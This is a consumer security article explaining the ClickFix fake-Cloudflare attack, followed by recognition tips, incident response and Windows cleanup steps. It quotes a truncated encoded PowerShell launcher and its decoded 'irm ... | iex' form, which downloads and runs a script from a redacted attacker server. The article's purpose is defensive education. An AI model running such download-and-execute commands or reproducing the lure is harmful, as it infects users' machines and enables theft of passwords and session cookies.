The fake Cloudflare check that hijacks your PC: how the ClickFix attack works and how to clean up after it
A convincing 'Verify you are human' page that asks you to press Win+R and paste a command is not a security check — it is malware delivery. We walk through a real ClickFix infection step by step, explain why antivirus arrives late, and show exactly how to recognise the trap and clean your computer.

You open a news site. Instead of the article you get a familiar Cloudflare page: "Verify you are human." But this time ticking the box is not enough. The page gives you three instructions: press Windows + R, paste, press Enter. Follow them and, within seconds, a malicious program is downloaded and launched silently on your computer. Security researchers call this technique ClickFix, and since 2024 it has become one of the fastest-growing social-engineering attacks in the world. In recent weeks we have received a steady stream of reports from readers who fell for it.
This guide explains what happens behind the scenes, how to recognise the trap, what to do in the first fifteen minutes if you already ran the command, and how to clean your machine — based on the forensic analysis of a real infection.
What is ClickFix?
ClickFix is an attack that persuades the victim to run a malicious command with their own hands. Unlike a classic exploit it needs no software vulnerability: your browser can be fully updated, Windows fully patched, antivirus switched on — the attacker still wins, because you are the one who executes the command. The name comes from the lure: the page claims something is broken (a robot check, a video player, a missing font, a browser update) and offers a command that will "fix" it with one click.
The most common disguise is the Cloudflare "Verify you are human" page that all of us see dozens of times a day. Attackers reproduce it pixel for pixel — logo, typeface, spinning icon, even a plausible "Ray ID". The one difference: the real Cloudflare never asks you to run anything on your computer.
How the attack unfolds, step by step
In the case we analysed the reader visited a compromised news site and met the fake verification page. Clicking its "Copy" button placed a command like this on the clipboard:
powershell -ep bypass -e "aQByAG0AIABoAHQAdABwAHMAOgAvAC8A..."To a normal user the line is gibberish, which is the point. Decoded, it reads:
irm https://[malicious-site]/v/s_w/01303f... | iexIn plain English: "download a script from the attacker's server and run it without asking." -ep bypass switches off PowerShell's script restrictions, -e means the command is hidden in Base64, irm downloads, iex executes.
The downloaded script then did the following:
- Printed "Verification ID: 01303f..." on screen so everything looked legitimate.
- Detected the machine's architecture (64-bit, ARM and so on).
- Downloaded an executable into the temp folder under a random name (
%TEMP%\<32-character-id>.exe). - Launched it in a hidden window and waited for it to finish.
- Printed a green tick: "✓ Verification successful".
All the user saw was a black window flashing for a second and then a reassuring success message. In the meantime a 27 MB piece of malware had run on the machine.
Why didn't the antivirus stop it immediately?
The reader's computer ran Kaspersky, and it did catch the attack — about two minutes after the command was executed. The delay is easy to explain: the process was started by the user, and PowerShell is a legitimate part of Windows. The antivirus could only step in once the downloaded file was written to disk and began to behave suspiciously. Two minutes is more than enough for an infostealer to harvest saved browser passwords, session cookies and crypto-wallet files and ship them off.
That is why "I have antivirus, I'm safe" does not hold against ClickFix. The strongest defence is never running the command in the first place.
How to recognise the trap
- You are asked to press a keyboard shortcut. Win+R, Win+X, "open Terminal", "run PowerShell as administrator" — the moment you see any of these, close the tab.
- There is a "paste and press Enter" instruction. No legitimate verification ever requires you to paste something that was copied to your clipboard.
- The command is a wall of random characters. Long Base64 strings and the words
-e,-enc,bypass,iex,irm,curl,mshtaare red flags. - The error message is unusual. "Browser update required", "Video cannot be played, click to fix", "DNS error, follow the steps below" are the same trap in different costumes.
- The page asks for more than a checkbox. A genuine Cloudflare challenge has a single box; you tick it, wait a few seconds and the site loads.
If you already ran it: the first fifteen minutes
Do not panic, but move fast. Most of this malware collects and transmits data within minutes; the sooner you act, the smaller the damage.
- Disconnect from the internet. Turn off Wi-Fi or unplug the network cable. This stops data exfiltration and the download of additional components.
- Record the antivirus alert. Whatever product you use, note the threat name and the quarantined file. If the name contains "PSW", "Stealer" or "Trojan-Spy", your passwords were the target.
- Run a full scan. Not a quick scan — a full system scan. Let it finish.
- Change your passwords from another device. Use your phone or a computer you trust. Start with e-mail (Google, Outlook), then banking, then everything else saved in the browser. The order matters: if your e-mail is taken over, every other password can be reset by the attacker.
- Sign out of all sessions. Stolen cookies let an attacker log in without a password. Use "Sign out of all devices" in Google, "Log out of all other sessions" in Facebook/Instagram, and call your bank.
- Enable two-factor authentication on every account that lacks it, especially e-mail and banking.
Cleaning your computer
If the antivirus quarantined the file, most of the work is done. You still need to check whether the malware left a "persistence" mechanism that would restart it. The following applies to Windows 10 and 11.
1. Startup apps
Press Ctrl+Shift+Esc to open Task Manager and look at Startup apps. Disable anything you do not recognise, anything with an empty publisher, or anything that runs from AppData, Temp or ProgramData.
2. Registry Run keys
Press Win+R, type regedit (this time on your own terms!) and check these two paths:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunEntries here run automatically at logon. Delete anything you do not know, especially entries containing powershell, wscript, mshta or a random-looking file name.
3. Task Scheduler
Open Task Scheduler from the Start menu. In the Task Scheduler Library look for tasks created in the last few days; if the "Actions" tab shows PowerShell or a program in a Temp folder, delete the task.
4. Startup folder
Press Win+R and type shell:startup. Remove any shortcut you did not put there.
5. Temporary files
Press Win+R and type %TEMP%. Look for .exe files with 32-character random names and delete them. Then clear all temporary files under Settings → System → Storage → Temporary files.
6. Verify the PowerShell history
For advanced users: in Event Viewer, under Applications and Services Logs → Microsoft → Windows → PowerShell → Operational, event ID 4104 records the full text of every script that ran. Find the entry at the time of the attack and you can see exactly what else the script downloaded.
7. Browser extensions
Visit chrome://extensions in Chrome or edge://extensions in Edge. Remove anything you did not install yourself.
8. When in doubt, reinstall
If you use the computer for banking, work e-mail or a crypto wallet, and the antivirus labelled the threat "Backdoor" or "RAT" (remote access), the safest route is a clean Windows reinstall. Settings → System → Recovery → "Reset this PC" → "Remove everything" is sufficient.
How to stay safe in future
- The golden rule: if a web page asks you to paste and run something on your computer, the answer is always no. There are no exceptions.
- Inspect your clipboard. If you pressed "Copy" on a page, paste it into Notepad first and read what it is.
- Stop saving passwords in the browser. A password manager such as Bitwarden or 1Password will not open without the master password; the browser's password store is the first thing stealers grab.
- Warn your family. This attack targets less technical users; teach parents and children the rule "close any page that tells you to press Win+R".
- In organisations: administrators can remove the Run dialog for standard users via Group Policy, restrict PowerShell's
-EncodedCommandthrough AppLocker or Constrained Language Mode, and switch on PowerShell Script Block Logging, which is invaluable for forensics.
Frequently asked questions
I pasted the command but did not press Enter. Am I safe?
Yes. Nothing runs until you press Enter. Close the Run dialog and overwrite your clipboard by copying any harmless text.
My antivirus says "threat removed". Do I still need to change passwords?
Yes. The antivirus deleted the file, but you cannot know what it transmitted during the seconds it ran. Changing passwords and ending sessions takes minutes; the risk is not worth it.
I use a Mac or Linux. Does this affect me?
Yes. The macOS flavour of ClickFix says "open Terminal and paste this command"; Linux variants work the same way. The rule does not change: no web page ever needs you to type into a terminal.
Does seeing this page mean the website was hacked?
Usually, yes. Attackers inject the fake page into legitimate but poorly secured sites, or deliver it through compromised ad networks. Telling the site owner protects other visitors.
In short: the moment you see "Win+R" on a web page, stop. Those three keys are the most dangerous three keys on the internet right now.
Add Technology News as a preferred source on Google

